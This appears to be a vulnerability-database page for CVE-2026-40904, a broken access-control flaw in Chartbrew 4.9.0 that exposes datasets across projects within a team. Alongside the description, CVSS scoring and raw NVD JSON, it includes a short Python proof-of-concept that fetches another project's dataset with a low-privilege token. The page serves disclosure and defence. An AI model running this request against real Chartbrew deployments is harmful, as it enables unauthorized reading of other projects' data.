Security Vulnerability Report
中文
CVE-2026-40904 CVSS 8.1 HIGH

CVE-2026-40904

Published: 2026-04-30 19:16:10
Last Modified: 2026-05-01 15:31:02

Description

Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes multiple dataset and dataRequest endpoints that authorize low-privileged project members at the team level instead of binding the requested dataset_id, dataRequest id, and connection_id to the caller's allowed projects. An authenticated attacker who only has access to one project inside a team can read, execute, create, update, and delete datasets and data requests that belong to other projects in the same team. The issue is exploitable remotely with ordinary project-level credentials and leads to cross-project data disclosure and unauthorized use of victim-side database or API connections. This issue has been patched in version 5.0.0.

CVSS Details

CVSS Score
8.1
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

Configurations (Affected Products)

No configuration data available.

Chartbrew 4.9.0
Chartbrew < 5.0.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests # CVE-2026-40904 PoC Concept for Chartbrew < 5.0.0 # Attacker has access to Project A but targets Project B resources. target_url = "http://target-chartbrew-instance/api/datasets" attacker_token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." # Low-privilege token for Project A victim_dataset_id = "target_dataset_id_in_project_b" # ID belonging to another project headers = { "Authorization": f"Bearer {attacker_token}", "Content-Type": "application/json" } # Attempt to read a dataset from another project using the attacker's token # Vulnerability allows this because authorization checks only Team membership, not Project ownership response = requests.get(f"{target_url}/{victim_dataset_id}", headers=headers) if response.status_code == 200: print(f"[+] Exploit Successful! Leaked data: {response.json()}") else: print(f"[-] Exploit Failed. Status Code: {response.status_code}")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-40904", "sourceIdentifier": "[email protected]", "published": "2026-04-30T19:16:10.433", "lastModified": "2026-05-01T15:31:02.467", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. In version 4.9.0, Chartbrew exposes multiple dataset and dataRequest endpoints that authorize low-privileged project members at the team level instead of binding the requested dataset_id, dataRequest id, and connection_id to the caller's allowed projects. An authenticated attacker who only has access to one project inside a team can read, execute, create, update, and delete datasets and data requests that belong to other projects in the same team. The issue is exploitable remotely with ordinary project-level credentials and leads to cross-project data disclosure and unauthorized use of victim-side database or API connections. This issue has been patched in version 5.0.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N", "baseScore": 8.1, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-284"}]}], "references": [{"url": "https://github.com/chartbrew/chartbrew/releases/tag/v5.0.0", "source": "[email protected]"}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-jq95-gqww-vhm3", "source": "[email protected]"}, {"url": "https://github.com/chartbrew/chartbrew/security/advisories/GHSA-jq95-gqww-vhm3", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}